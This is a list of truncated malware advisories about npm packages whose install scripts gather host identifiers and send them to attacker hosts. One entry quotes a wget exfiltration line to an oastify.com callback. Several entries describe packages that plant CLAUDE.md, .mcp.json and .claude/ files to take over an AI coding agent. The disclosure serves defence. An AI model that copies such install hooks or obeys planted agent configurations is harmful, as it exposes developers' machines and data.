Malicious code in exodus-checkout-signer (npm)

Source: amazon-inspector 921c5ef246587db452bdb65aae12321f4de868e7882f9550f9b9e32300ae792c exodus-checkout-signer is the unscoped name of the scoped package @exodus/checkout-signer and self-describes in README and package.json as a dependency-confusion proof-of-concept targeting installers who...

Malicious code in @nstrlabs/utils (npm)

Source: amazon-inspector 36d8d7c327560bb7a4c08d906db240a2dc146e20f828d9dfc5ab79497b155355 On npm install, the package's preinstall script node index.js || true executes automatically and collects host identifiers from the installer's machine — os.hostname, os.userInfo.username, dirname, and...

Malicious code in ac_calendar_ts (npm)

Source: amazon-inspector d5b3fd92d67510aef112ac70c9af79a59b924eef29e20b1b127ea4c720182c63 On npm install, the package's canary.js postinstall script issues an HTTP GET to http://157.230.17.236/dc carrying the installer's os.hostname, package name, version, a fixed nonce, and a phase identifier. T...

Malicious code in @listings/energy-labels (npm)

Source: amazon-inspector 41caac3ab1f9c35a72841357174aeeec16c142c08cc28030a875b2dba85f04ba The package declares "preinstall": "node index.js || true" in package.json, so on every npm install the script executes automatically and silently swallows errors. index.js collects host identity os.hostname...

Malicious code in @nstrlabs/shared-components (npm)

Source: amazon-inspector efc72373a5a06d31becb2dd02ced949866c9da14ae6d0bfdb3b4f4c882e40445 On npm install, the package's preinstall script runs index.js, which collects host identifiers os.hostname, os.userInfo.username, dirname, process.cwd, package name and ships them to two attacker-controlled...

Malicious code in @nstrlabs/sdk (npm)

Source: amazon-inspector a0b1375de7b44594cd3760efb91cb94c8c8b7137322f4597114e314ce5e14e45 On npm install, package.json runs preinstall: node index.js || true, unconditionally executing index.js. The script collects host identity fields os.hostname, os.userInfo.username, dirname, process.cwd, and...

Malicious code in morningstar-design-system (npm)

Source: amazon-inspector 18591ac1a5cb5ca3d11e07bde38f230dccc530bb4614d45f9be1f547677a2c9e On npm install, the package's preinstall lifecycle script runs wget against a hardcoded bare-IP HTTP endpoint, passing the output of id, pwd, hostname, and ip a as URL query parameters. This leaks the...

Malicious code in @payment-review/store (npm)

Source: amazon-inspector 2d624eaefbb0245bf0c9a7b598c461a3ba5ec48005cfec223898062741ef8c2e package.json declares preinstall: node index.js || true, so installing the package automatically runs index.js on npm install. The script collects host identity fields — os.hostname, os.userInfo.username,...

Malicious code in pocteszep (npm)

Source: amazon-inspector e13c609971d69e4699c85f451f163c7ab60ebb775171211fbd20d880b0ef2a2d The package's npm preinstall lifecycle script runs wget --quiet "http://78dngdm3dhrrj8zgfm4es9m8bzhq5jt8.oastify.com/?user=$whoami&path=$pwd&hostname=$hostname" package.json line 8. On npm install, before an...

Malicious code in @bancolonbia/menu-filter-widget-web (npm)

Source: amazon-inspector 76511e7873dc4a76b8447f91807e48289877ee612cd0d94526206390bbda7f3e package.json declares scripts.postinstall: node./callback.js, which fires automatically on npm install. callback.js reads the installer's hostname and transmits it to a hardcoded Burp Collaborator domain...

Malicious code in mds-webcomponents (npm)

Source: amazon-inspector 4b33015300fa18b6b3d2c2f1c0af0e77cbd9fa96c7af7befbe61a5422165824e package.json declares preinstall: node index.js, which runs automatically on every npm install. index.js collects os.homedir, os.hostname, os.userInfo.username, dns.getServers, the package name, dirname, and...

Malicious code in zer0onedatetool (npm)

Source: amazon-inspector 73fd05fda74bbf13c6275d4da0fa80fece821cad03fb2237ae74ed24309eab52 The postinstall lifecycle script in this package issues curl POST requests to a subdomain of oastify.com — the out-of-band callback domain operated by Burp Collaborator / Project Discovery's interactsh. On...

Malicious code in @orion-design-system/store (npm)

Source: amazon-inspector 4218505b74ba258cea12df713bbc27db9fa58d6660cf83e6d0c5fd8a9f68a4c2 package.json declares a preinstall script that runs on every npm install. The script uses node -e to require os and https, reads os.hostname and os.userInfo.username, and exfiltrates them to...

Malicious code in @orion-design-system/foundation (npm)

Source: amazon-inspector 3e7fdf1bb78d6c3750adffa854f5f08c7f2fd7af6166f7234aa5cbf4974a1375 The package's npm preinstall lifecycle script runs an inline node -e payload that collects the installer's hostname os.hostname and OS username os.userInfo.username and transmits both to an attacker-controll...

Malicious code in 0x2ai-demo2 (npm)

Source: amazon-inspector 98ee2445b2f0b01d2457cf45c188b310f58c98f3b676032f9c6213469f071239 On npm install, scripts/postinstall.cjs recursively copies the bundled payload/ directory into INITCWD the developer's project root via fs.cpSync. The staged files reconfigure Claude Code so subsequent...

Malicious code in 0x2ai-demo7x (npm)

Source: amazon-inspector c7e956073a7db6057e4d42af462dba0299152ca992c113d74c715e90574d0efb On npm install, scripts/postinstall.cjs copies the package's payload/ tree into the installer's project root process.env.INITCWD, placing CLAUDE.md,.mcp.json, and a.claude/ directory next to the installer's...

Malicious code in 0x2ai-ivo (npm)

Source: amazon-inspector e78c039ee7ad67b1a20ef30b37ce03178f6c2181b1e330db69e04dabd0a28686 On install, the postinstall script copies the package's payload/ tree CLAUDE.md,.claude/settings.json,.mcp.json, and several.cjs MCP scripts into the consumer's project directory process.env.INITCWD ||...

Malicious code in field-upload-tool (npm)

Source: amazon-inspector 17402ad5019d1d433139ce2652d18d2493d87acfd1ede435a94c87eb421f25b1 On every npm install, the package's postinstall lifecycle script in package.json spawns a detached, unref'd Node process that decodes a base64-encoded payload via node -e Buffer.from...,'base64'.toString and...

Malicious code in 0x2ai-demo9 (npm)

Source: amazon-inspector bb3fa91a9457ef11dc837c301fef1b22dbe1b19f00400215d853958726e1d055 On npm install, the package's postinstall script writes .mcp.json, CLAUDE.md, and a .claude/commands/0x2ai-boot.md slash-command file into the installer's current working directory. The .mcp.json...

Malicious code in 0x2ai-demo4 (npm)

Source: amazon-inspector 1893e8cd8ff38936ad388208f98e30cc64a6b1126062e2ff716004338feedf8c On npm install, the package's postinstall script unconditionally copies its payload/ tree into the user's project directory process.env.INITCWD, planting a .mcp.json, a .claude/commands/0x2ai-boot.md slash...